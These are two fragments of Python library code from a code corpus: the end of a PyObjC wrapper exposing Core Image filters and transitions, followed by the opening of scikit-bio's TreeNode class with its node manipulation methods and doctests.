attr["inputUnsharpMaskIntensity"] = unsharpMaskIntensity if radius: attr["inputRadius"] = radius filterDict = dict(name="CIDepthOfField", attributes=attr) self._addFilter(filterDict) def edges(self, intensity=None): """ Finds all edges in an image and displays them in color. Attributes: `intensity` a float. """ attr = dict() if intensity: attr["inputIntensity"] = intensity filterDict = dict(name="CIEdges", attributes=attr) self._addFilter(filterDict) def edgeWork(self, radius=None): """ Produces a stylized black-and-white rendition of an image that looks similar to a woodblock cutout. Attributes: `radius` a float. """ attr = dict() if radius: attr["inputRadius"] = radius filterDict = dict(name="CIEdgeWork", attributes=attr) self._addFilter(filterDict) def gloom(self, radius=None, intensity=None): """ Dulls the highlights of an image. Attributes: `radius` a float, `intensity` a float. """ attr = dict() if radius: attr["inputRadius"] = radius if intensity: attr["inputIntensity"] = intensity filterDict = dict(name="CIGloom", attributes=attr) self._addFilter(filterDict) def heightFieldFromMask(self, radius=None): """ Produces a continuous three-dimensional, loft-shaped height field from a grayscale mask. Attributes: `radius` a float. """ attr = dict() if radius: attr["inputRadius"] = radius filterDict = dict(name="CIHeightFieldFromMask", attributes=attr) self._addFilter(filterDict) def hexagonalPixellate(self, center=None, scale=None): """ Maps an image to colored hexagons whose color is defined by the replaced pixels. Attributes: `center` a tuple (x, y), `scale` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if scale: attr["inputScale"] = scale filterDict = dict(name="CIHexagonalPixellate", attributes=attr) self._addFilter(filterDict) def highlightShadowAdjust(self, highlightAmount=None, shadowAmount=None): """ Adjust the tonal mapping of an image while preserving spatial detail. Attributes: `highlightAmount` a float, `shadowAmount` a float. """ attr = dict() if highlightAmount: attr["inputHighlightAmount"] = highlightAmount if shadowAmount: attr["inputShadowAmount"] = shadowAmount filterDict = dict(name="CIHighlightShadowAdjust", attributes=attr) self._addFilter(filterDict) def lineOverlay(self, noiseLevel=None, sharpness=None, edgeIntensity=None, threshold=None, contrast=None): """ Creates a sketch that outlines the edges of an image in black. Attributes: `noiseLevel` a float, `sharpness` a float, `edgeIntensity` a float, `threshold` a float, `contrast` a float. """ attr = dict() if noiseLevel: attr["inputNRNoiseLevel"] = noiseLevel if sharpness: attr["inputNRSharpness"] = sharpness if edgeIntensity: attr["inputEdgeIntensity"] = edgeIntensity if threshold: attr["inputThreshold"] = threshold if contrast: attr["inputContrast"] = contrast filterDict = dict(name="CILineOverlay", attributes=attr) self._addFilter(filterDict) def pixellate(self, center=None, scale=None): """ Makes an image blocky by mapping the image to colored squares whose color is defined by the replaced pixels. Attributes: `center` a tuple (x, y), `scale` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if scale: attr["inputScale"] = scale filterDict = dict(name="CIPixellate", attributes=attr) self._addFilter(filterDict) def pointillize(self, radius=None, center=None): """ Renders the source image in a pointillistic style. Attributes: `radius` a float, `center` a tuple (x, y). """ attr = dict() if radius: attr["inputRadius"] = radius if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) filterDict = dict(name="CIPointillize", attributes=attr) self._addFilter(filterDict) def shadedMaterial(self, shadingImage=None, scale=None): """ Produces a shaded image from a height field. Attributes: `shadingImage` an Image object, `scale` a float. """ attr = dict() if shadingImage: attr["inputShadingImage"] = shadingImage._ciImage() if scale: attr["inputScale"] = scale filterDict = dict(name="CIShadedMaterial", attributes=attr) self._addFilter(filterDict) def spotColor(self, centerColor1=None, replacementColor1=None, closeness1=None, contrast1=None, centerColor2=None, replacementColor2=None, closeness2=None, contrast2=None, centerColor3=None, replacementColor3=None, closeness3=None, contrast3=None): """ Replaces one or more color ranges with spot colors. Attributes: `centerColor1` RGBA tuple Color (r, g, b, a), `replacementColor1` RGBA tuple Color (r, g, b, a), `closeness1` a float, `contrast1` a float, `centerColor2` RGBA tuple Color (r, g, b, a), `replacementColor2` RGBA tuple Color (r, g, b, a), `closeness2` a float, `contrast2` a float, `centerColor3` RGBA tuple Color (r, g, b, a), `replacementColor3` RGBA tuple Color (r, g, b, a), `closeness3` a float, `contrast3` a float. """ attr = dict() if centerColor1: attr["inputCenterColor1"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(centerColor1[0], centerColor1[1], centerColor1[2], centerColor1[3]) if replacementColor1: attr["inputReplacementColor1"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(replacementColor1[0], replacementColor1[1], replacementColor1[2], replacementColor1[3]) if closeness1: attr["inputCloseness1"] = closeness1 if contrast1: attr["inputContrast1"] = contrast1 if centerColor2: attr["inputCenterColor2"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(centerColor2[0], centerColor2[1], centerColor2[2], centerColor2[3]) if replacementColor2: attr["inputReplacementColor2"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(replacementColor2[0], replacementColor2[1], replacementColor2[2], replacementColor2[3]) if closeness2: attr["inputCloseness2"] = closeness2 if contrast2: attr["inputContrast2"] = contrast2 if centerColor3: attr["inputCenterColor3"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(centerColor3[0], centerColor3[1], centerColor3[2], centerColor3[3]) if replacementColor3: attr["inputReplacementColor3"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(replacementColor3[0], replacementColor3[1], replacementColor3[2], replacementColor3[3]) if closeness3: attr["inputCloseness3"] = closeness3 if contrast3: attr["inputContrast3"] = contrast3 filterDict = dict(name="CISpotColor", attributes=attr) self._addFilter(filterDict) def spotLight(self, lightPosition=None, lightPointsAt=None, brightness=None, concentration=None, color=None): """ Applies a directional spotlight effect to an image. Attributes: `lightPosition` a tulple (x, y, z), `lightPointsAt` a tuple (x, y), `brightness` a float, `concentration` a float, `color` RGBA tuple Color (r, g, b, a). """ attr = dict() if lightPosition: attr["inputLightPosition"] = AppKit.CIVector.vectorWithValues_count_(lightPosition, 3) if lightPointsAt: attr["inputLightPointsAt"] = AppKit.CIVector.vectorWithValues_count_(lightPointsAt, 2) if brightness: attr["inputBrightness"] = brightness if concentration: attr["inputConcentration"] = concentration if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) filterDict = dict(name="CISpotLight", attributes=attr) self._addFilter(filterDict) def affineClamp(self, transform=None): """ Performs an affine transform on a source image and then clamps the pixels at the edge of the transformed image, extending them outwards. Attributes: `transform`. """ attr = dict() if transform: attr["inputTransform"] = transform filterDict = dict(name="CIAffineClamp", attributes=attr) self._addFilter(filterDict) def affineTile(self, transform=None): """ Applies an affine transform to an image and then tiles the transformed image. Attributes: `transform`. """ attr = dict() if transform: attr["inputTransform"] = transform filterDict = dict(name="CIAffineTile", attributes=attr) self._addFilter(filterDict) def eightfoldReflectedTile(self, center=None, angle=None, width=None): """ Produces a tiled image from a source image by applying an 8-way reflected symmetry. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width filterDict = dict(name="CIEightfoldReflectedTile", attributes=attr) self._addFilter(filterDict) def fourfoldReflectedTile(self, center=None, angle=None, acuteAngle=None, width=None): """ Produces a tiled image from a source image by applying a 4-way reflected symmetry. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `acuteAngle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if acuteAngle: attr["inputAcuteAngle"] = radians(acuteAngle) if width: attr["inputWidth"] = width filterDict = dict(name="CIFourfoldReflectedTile", attributes=attr) self._addFilter(filterDict) def fourfoldRotatedTile(self, center=None, angle=None, width=None): """ Produces a tiled image from a source image by rotating the source image at increments of 90 degrees. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width filterDict = dict(name="CIFourfoldRotatedTile", attributes=attr) self._addFilter(filterDict) def fourfoldTranslatedTile(self, center=None, angle=None, acuteAngle=None, width=None): """ Produces a tiled image from a source image by applying 4 translation operations. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `acuteAngle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if acuteAngle: attr["inputAcuteAngle"] = radians(acuteAngle) if width: attr["inputWidth"] = width filterDict = dict(name="CIFourfoldTranslatedTile", attributes=attr) self._addFilter(filterDict) def glideReflectedTile(self, center=None, angle=None, width=None): """ Produces a tiled image from a source image by translating and smearing the image. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width filterDict = dict(name="CIGlideReflectedTile", attributes=attr) self._addFilter(filterDict) def kaleidoscope(self, count=None, center=None, angle=None): """ Produces a kaleidoscopic image from a source image by applying 12-way symmetry. Attributes: `count` a float, `center` a tuple (x, y), `angle` a float in degrees. """ attr = dict() if count: attr["inputCount"] = count if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) filterDict = dict(name="CIKaleidoscope", attributes=attr) self._addFilter(filterDict) def opTile(self, center=None, scale=None, angle=None, width=None): """ Segments an image, applying any specified scaling and rotation, and then assembles the image again to give an op art appearance. Attributes: `center` a tuple (x, y), `scale` a float, `angle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if scale: attr["inputScale"] = scale if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width filterDict = dict(name="CIOpTile", attributes=attr) self._addFilter(filterDict) def parallelogramTile(self, center=None, angle=None, acuteAngle=None, width=None): """ Warps an image by reflecting it in a parallelogram, and then tiles the result. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `acuteAngle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if acuteAngle: attr["inputAcuteAngle"] = radians(acuteAngle) if width: attr["inputWidth"] = width filterDict = dict(name="CIParallelogramTile", attributes=attr) self._addFilter(filterDict) def perspectiveTile(self, topLeft=None, topRight=None, bottomRight=None, bottomLeft=None): """ Applies a perspective transform to an image and then tiles the result. Attributes: `topLeft` a tuple (x, y), `topRight` a tuple (x, y), `bottomRight` a tuple (x, y), `bottomLeft` a tuple (x, y). """ attr = dict() if topLeft: attr["inputTopLeft"] = AppKit.CIVector.vectorWithValues_count_(topLeft, 2) if topRight: attr["inputTopRight"] = AppKit.CIVector.vectorWithValues_count_(topRight, 2) if bottomRight: attr["inputBottomRight"] = AppKit.CIVector.vectorWithValues_count_(bottomRight, 2) if bottomLeft: attr["inputBottomLeft"] = AppKit.CIVector.vectorWithValues_count_(bottomLeft, 2) filterDict = dict(name="CIPerspectiveTile", attributes=attr) self._addFilter(filterDict) def sixfoldReflectedTile(self, center=None, angle=None, width=None): """ Produces a tiled image from a source image by applying a 6-way reflected symmetry. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width filterDict = dict(name="CISixfoldReflectedTile", attributes=attr) self._addFilter(filterDict) def sixfoldRotatedTile(self, center=None, angle=None, width=None): """ Produces a tiled image from a source image by rotating the source image at increments of 60 degrees. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width filterDict = dict(name="CISixfoldRotatedTile", attributes=attr) self._addFilter(filterDict) def triangleTile(self, center=None, angle=None, width=None): """ Maps a triangular portion of image to a triangular area and then tiles the result. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width filterDict = dict(name="CITriangleTile", attributes=attr) self._addFilter(filterDict) def twelvefoldReflectedTile(self, center=None, angle=None, width=None): """ Produces a tiled image from a source image by rotating the source image at increments of 30 degrees. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width filterDict = dict(name="CITwelvefoldReflectedTile", attributes=attr) self._addFilter(filterDict) def accordionFoldTransition(self, targetImage=None, bottomHeight=None, numberOfFolds=None, foldShadowAmount=None, time=None): """ Transitions from one image to another of differing dimensions by unfolding and crossfading. Attributes: `targetImage` an Image object, `bottomHeight` a float, `numberOfFolds` a float, `foldShadowAmount` a float, `time` a float. """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if bottomHeight: attr["inputBottomHeight"] = bottomHeight if numberOfFolds: attr["inputNumberOfFolds"] = numberOfFolds if foldShadowAmount: attr["inputFoldShadowAmount"] = foldShadowAmount if time: attr["inputTime"] = time filterDict = dict(name="CIAccordionFoldTransition", attributes=attr) self._addFilter(filterDict) def barsSwipeTransition(self, targetImage=None, angle=None, width=None, barOffset=None, time=None): """ Transitions from one image to another by passing a bar over the source image. Attributes: `targetImage` an Image object, `angle` a float in degrees, `width` a float, `barOffset` a float, `time` a float. """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width if barOffset: attr["inputBarOffset"] = barOffset if time: attr["inputTime"] = time filterDict = dict(name="CIBarsSwipeTransition", attributes=attr) self._addFilter(filterDict) def copyMachineTransition(self, targetImage=None, extent=None, color=None, time=None, angle=None, width=None, opacity=None): """ Transitions from one image to another by simulating the effect of a copy machine. Attributes: `targetImage` an Image object, `extent` a tuple (x, y, w, h), `color` RGBA tuple Color (r, g, b, a), `time` a float, `angle` a float in degrees, `width` a float, `opacity` a float. """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) if time: attr["inputTime"] = time if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width if opacity: attr["inputOpacity"] = opacity filterDict = dict(name="CICopyMachineTransition", attributes=attr) self._addFilter(filterDict) def disintegrateWithMaskTransition(self, targetImage=None, maskImage=None, time=None, shadowRadius=None, shadowDensity=None, shadowOffset=None): """ Transitions from one image to another using the shape defined by a mask. Attributes: `targetImage` an Image object, `maskImage` an Image object, `time` a float, `shadowRadius` a float, `shadowDensity` a float, `shadowOffset` a tuple (x, y). """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if maskImage: attr["inputMaskImage"] = maskImage._ciImage() if time: attr["inputTime"] = time if shadowRadius: attr["inputShadowRadius"] = shadowRadius if shadowDensity: attr["inputShadowDensity"] = shadowDensity if shadowOffset: attr["inputShadowOffset"] = AppKit.CIVector.vectorWithValues_count_(shadowOffset, 2) filterDict = dict(name="CIDisintegrateWithMaskTransition", attributes=attr) self._addFilter(filterDict) def dissolveTransition(self, targetImage=None, time=None): """ Uses a dissolve to transition from one image to another. Attributes: `targetImage` an Image object, `time` a float. """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if time: attr["inputTime"] = time filterDict = dict(name="CIDissolveTransition", attributes=attr) self._addFilter(filterDict) def flashTransition(self, targetImage=None, center=None, extent=None, color=None, time=None, maxStriationRadius=None, striationStrength=None, striationContrast=None, fadeThreshold=None): """ Transitions from one image to another by creating a flash. Attributes: `targetImage` an Image object, `center` a tuple (x, y), `extent` a tuple (x, y, w, h), `color` RGBA tuple Color (r, g, b, a), `time` a float, `maxStriationRadius` a float, `striationStrength` a float, `striationContrast` a float, `fadeThreshold` a float. """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) if time: attr["inputTime"] = time if maxStriationRadius: attr["inputMaxStriationRadius"] = maxStriationRadius if striationStrength: attr["inputStriationStrength"] = striationStrength if striationContrast: attr["inputStriationContrast"] = striationContrast if fadeThreshold: attr["inputFadeThreshold"] = fadeThreshold filterDict = dict(name="CIFlashTransition", attributes=attr) self._addFilter(filterDict) def modTransition(self, targetImage=None, center=None, time=None, angle=None, radius=None, compression=None): """ Transitions from one image to another by revealing the target image through irregularly shaped holes. Attributes: `targetImage` an Image object, `center` a tuple (x, y), `time` a float, `angle` a float in degrees, `radius` a float, `compression` a float. """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if time: attr["inputTime"] = time if angle: attr["inputAngle"] = radians(angle) if radius: attr["inputRadius"] = radius if compression: attr["inputCompression"] = compression filterDict = dict(name="CIModTransition", attributes=attr) self._addFilter(filterDict) def pageCurlTransition(self, targetImage=None, backsideImage=None, shadingImage=None, extent=None, time=None, angle=None, radius=None): """ Transitions from one image to another by simulating a curling page, revealing the new image as the page curls. Attributes: `targetImage` an Image object, `backsideImage` an Image object, `shadingImage` an Image object, `extent` a tuple (x, y, w, h), `time` a float, `angle` a float in degrees, `radius` a float. """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if backsideImage: attr["inputBacksideImage"] = backsideImage._ciImage() if shadingImage: attr["inputShadingImage"] = shadingImage._ciImage() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) if time: attr["inputTime"] = time if angle: attr["inputAngle"] = radians(angle) if radius: attr["inputRadius"] = radius filterDict = dict(name="CIPageCurlTransition", attributes=attr) self._addFilter(filterDict) def pageCurlWithShadowTransition(self, targetImage=None, backsideImage=None, extent=None, time=None, angle=None, radius=None, shadowSize=None, shadowAmount=None, shadowExtent=None): """ Transitions from one image to another by simulating a curling page, revealing the new image as the page curls. Attributes: `targetImage` an Image object, `backsideImage` an Image object, `extent` a tuple (x, y, w, h), `time` a float, `angle` a float in degrees, `radius` a float, `shadowSize` a float, `shadowAmount` a float, `shadowExtent` a tuple (x, y, w, h). """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if backsideImage: attr["inputBacksideImage"] = backsideImage._ciImage() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) if time: attr["inputTime"] = time if angle: attr["inputAngle"] = radians(angle) if radius: attr["inputRadius"] = radius if shadowSize: attr["inputShadowSize"] = shadowSize if shadowAmount: attr["inputShadowAmount"] = shadowAmount if shadowExtent: attr["inputShadowExtent"] = AppKit.CIVector.vectorWithValues_count_(shadowExtent, 4) filterDict = dict(name="CIPageCurlWithShadowTransition", attributes=attr) self._addFilter(filterDict) def rippleTransition(self, targetImage=None, shadingImage=None, center=None, extent=None, time=None, width=None, scale=None): """ Transitions from one image to another by creating a circular wave that expands from the center point, revealing the new image in the wake of the wave. Attributes: `targetImage` an Image object, `shadingImage` an Image object, `center` a tuple (x, y), `extent` a tuple (x, y, w, h), `time` a float, `width` a float, `scale` a float. """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if shadingImage: attr["inputShadingImage"] = shadingImage._ciImage() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) if time: attr["inputTime"] = time if width: attr["inputWidth"] = width if scale: attr["inputScale"] = scale filterDict = dict(name="CIRippleTransition", attributes=attr) self._addFilter(filterDict) def swipeTransition(self, targetImage=None, extent=None, color=None, time=None, angle=None, width=None, opacity=None): """ Transitions from one image to another by simulating a swiping action. Attributes: `targetImage` an Image object, `extent` a tuple (x, y, w, h), `color` RGBA tuple Color (r, g, b, a), `time` a float, `angle` a float in degrees, `width` a float, `opacity` a float. """ attr = dict() if targetImage: attr["inputTargetImage"] = targetImage._ciImage() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) if time: attr["inputTime"] = time if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width if opacity: attr["inputOpacity"] = opacity filterDict = dict(name="CISwipeTransition", attributes=attr) self._addFilter(filterDict)
codeparrot/github-code-clean
# ---------------------------------------------------------------------------- # Copyright (c) 2013--, scikit-bio development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file COPYING.txt, distributed with this software. # ---------------------------------------------------------------------------- from __future__ import absolute_import, division, print_function from operator import or_ from copy import deepcopy from itertools import combinations from functools import reduce from collections import defaultdict import numpy as np from scipy.stats import pearsonr from future.builtins import zip from six import StringIO from skbio._base import SkbioObject from skbio.stats.distance import DistanceMatrix from ._exception import (NoLengthError, DuplicateNodeError, NoParentError, MissingNodeError, TreeError) def distance_from_r(m1, m2): r"""Estimates distance as (1-r)/2: neg correl = max distance Parameters ---------- m1 : DistanceMatrix a distance matrix to compare m2 : DistanceMatrix a distance matrix to compare Returns ------- float The distance between m1 and m2 """ return (1-pearsonr(m1.data.flat, m2.data.flat)[0])/2 class TreeNode(SkbioObject): r"""Representation of a node within a tree A `TreeNode` instance stores links to its parent and optional children nodes. In addition, the `TreeNode` can represent a `length` (e.g., a branch length) between itself and its parent. Within this object, the use of "children" and "descendants" is frequent in the documentation. A child is a direct descendant of a node, while descendants are all nodes that are below a given node (e.g., grand-children, etc). Parameters ---------- name : str or None A node can have a name. It is common for tips in particular to have names, for instance, in a phylogenetic tree where the tips correspond to species. length : float, int, or None Distances between nodes can be used to represent evolutionary distances, time, etc. parent : TreeNode or None Connect this node to a parent children : list of TreeNode or None Connect this node to existing children Attributes ---------- name length parent children id """ default_write_format = 'newick' _exclude_from_copy = set(['parent', 'children', '_tip_cache', '_non_tip_cache']) def __init__(self, name=None, length=None, parent=None, children=None): self.name = name self.length = length self.parent = parent self._tip_cache = {} self._non_tip_cache = {} self._registered_caches = set() self.children = [] self.id = None if children is not None: self.extend(children) def __repr__(self): r"""Returns summary of the tree Returns ------- str A summary of this node and all descendants Notes ----- This method returns the name of the node and a count of tips and the number of internal nodes in the tree Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c, d)root;")) >>> repr(tree) '<TreeNode, name: root, internal node count: 1, tips count: 3>' """ nodes = [n for n in self.traverse(include_self=False)] n_tips = sum([n.is_tip() for n in nodes]) n_nontips = len(nodes) - n_tips classname = self.__class__.__name__ name = self.name if self.name is not None else "unnamed" return "<%s, name: %s, internal node count: %d, tips count: %d>" % \ (classname, name, n_nontips, n_tips) def __str__(self): r"""Returns string version of self, with names and distances Returns ------- str Returns a Newick representation of the tree See Also -------- read write Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c);")) >>> str(tree) '((a,b)c);\n' """ fh = StringIO() self.write(fh) string = fh.getvalue() fh.close() return string def __iter__(self): r"""Node iter iterates over the `children`.""" return iter(self.children) def __len__(self): return len(self.children) def __getitem__(self, i): r"""Node delegates slicing to `children`.""" return self.children[i] def _adopt(self, node): r"""Update `parent` references but does NOT update `children`.""" self.invalidate_caches() if node.parent is not None: node.parent.remove(node) node.parent = self return node def append(self, node): r"""Appends a node to `children`, in-place, cleaning up refs `append` will invalidate any node lookup caches, remove an existing parent on `node` if one exists, set the parent of `node` to self and add the `node` to `self` `children`. Parameters ---------- node : TreeNode An existing TreeNode object See Also -------- extend Examples -------- >>> from skbio import TreeNode >>> root = TreeNode(name="root") >>> child1 = TreeNode(name="child1") >>> child2 = TreeNode(name="child2") >>> root.append(child1) >>> root.append(child2) >>> print(root) (child1,child2)root; <BLANKLINE> """ self.children.append(self._adopt(node)) def extend(self, nodes): r"""Append a `list` of `TreeNode` to `self`. `extend` will invalidate any node lookup caches, remove existing parents of the `nodes` if they have any, set their parents to self and add the nodes to `self` `children`. Parameters ---------- nodes : list of TreeNode A list of TreeNode objects See Also -------- append Examples -------- >>> from skbio import TreeNode >>> root = TreeNode(name="root") >>> root.extend([TreeNode(name="child1"), TreeNode(name="child2")]) >>> print(root) (child1,child2)root; <BLANKLINE> """ self.children.extend([self._adopt(n) for n in nodes[:]]) def pop(self, index=-1): r"""Remove a `TreeNode` from `self`. Remove a child node by its index position. All node lookup caches are invalidated, and the parent reference for the popped node will be set to `None`. Parameters ---------- index : int The index position in `children` to pop Returns ------- TreeNode The popped child See Also -------- remove remove_deleted Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("(a,b)c;")) >>> print(tree.pop(0)) a; <BLANKLINE> """ return self._remove_node(index) def _remove_node(self, idx): r"""The actual (and only) method that performs node removal""" self.invalidate_caches() node = self.children.pop(idx) node.parent = None return node def remove(self, node): r"""Remove a node from self Remove a `node` from `self` by identity of the node. Parameters ---------- node : TreeNode The node to remove from self's children Returns ------- bool `True` if the node was removed, `False` otherwise See Also -------- pop remove_deleted Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("(a,b)c;")) >>> tree.remove(tree.children[0]) True """ for (i, curr_node) in enumerate(self.children): if curr_node is node: self._remove_node(i) return True return False def remove_deleted(self, func): r"""Delete nodes in which `func(node)` evaluates `True`. Remove all descendants from `self` that evaluate `True` from `func`. This has the potential to drop clades. Parameters ---------- func : a function A function that evaluates `True` when a node should be deleted See Also -------- pop remove Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("(a,b)c;")) >>> tree.remove_deleted(lambda x: x.name == 'b') >>> print(tree) (a)c; <BLANKLINE> """ for node in self.traverse(include_self=False): if func(node): node.parent.remove(node) def prune(self): r"""Reconstructs correct topology after nodes have been removed. Internal nodes with only one child will be removed and new connections will be made to reflect change. This method is useful to call following node removals as it will clean up nodes with singular children. Names and properties of singular children will override the names and properties of their parents following the prune. Node lookup caches are invalidated. See Also -------- shear remove pop remove_deleted Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f)root;")) >>> to_delete = tree.find('b') >>> tree.remove_deleted(lambda x: x == to_delete) >>> print(tree) ((a)c,(d,e)f)root; <BLANKLINE> >>> tree.prune() >>> print(tree) ((d,e)f,a)root; <BLANKLINE> """ # build up the list of nodes to remove so the topology is not altered # while traversing nodes_to_remove = [] for node in self.traverse(include_self=False): if len(node.children) == 1: nodes_to_remove.append(node) # clean up the single children nodes for node in nodes_to_remove: child = node.children[0] if child.length is None or node.length is None: child.length = child.length or node.length else: child.length += node.length node.parent.append(child) node.parent.remove(node) def shear(self, names): """Lop off tips until the tree just has the desired tip names. Parameters ---------- names : Iterable of str The tip names on the tree to keep Returns ------- TreeNode The resulting tree Raises ------ ValueError If the names do not exist in the tree See Also -------- prune remove pop remove_deleted Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> t = TreeNode.read(StringIO('((H:1,G:1):2,(R:0.5,M:0.7):3);')) >>> sheared = t.shear(['G', 'M']) >>> print(sheared) (G:3.0,M:3.7); <BLANKLINE> """ tcopy = self.deepcopy() all_tips = {n.name for n in tcopy.tips()} ids = set(names) if not ids.issubset(all_tips): raise ValueError("ids are not a subset of the tree!") while len(list(tcopy.tips())) != len(ids): for n in list(tcopy.tips()): if n.name not in ids: n.parent.remove(n) tcopy.prune() return tcopy def copy(self): r"""Returns a copy of self using an iterative approach Perform an iterative deepcopy of self. It is not assured that the copy of node attributes will be performed iteratively as that depends on the copy method of the types being copied Returns ------- TreeNode A new copy of self See Also -------- unrooted_deepcopy unrooted_copy Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b)c,(d,e)f)root;")) >>> tree_copy = tree.copy() >>> tree_nodes = set([id(n) for n in tree.traverse()]) >>> tree_copy_nodes = set([id(n) for n in tree_copy.traverse()]) >>> print(len(tree_nodes.intersection(tree_copy_nodes))) 0 """ def __copy_node(node_to_copy): r"""Helper method to copy a node""" # this is _possibly_ dangerous, we're assuming the node to copy is # of the same class as self, and has the same exclusion criteria. # however, it is potentially dangerous to mix TreeNode subclasses # within a tree, so... result = self.__class__() efc = self._exclude_from_copy for key in node_to_copy.__dict__: if key not in efc: result.__dict__[key] = deepcopy(node_to_copy.__dict__[key]) return result root = __copy_node(self) nodes_stack = [[root, self, len(self.children)]] while nodes_stack: # check the top node, any children left unvisited? top = nodes_stack[-1] new_top_node, old_top_node, unvisited_children = top if unvisited_children: top[2] -= 1 old_child = old_top_node.children[-unvisited_children] new_child = __copy_node(old_child) new_top_node.append(new_child) nodes_stack.append([new_child, old_child, len(old_child.children)]) else: # no unvisited children nodes_stack.pop() return root __copy__ = copy 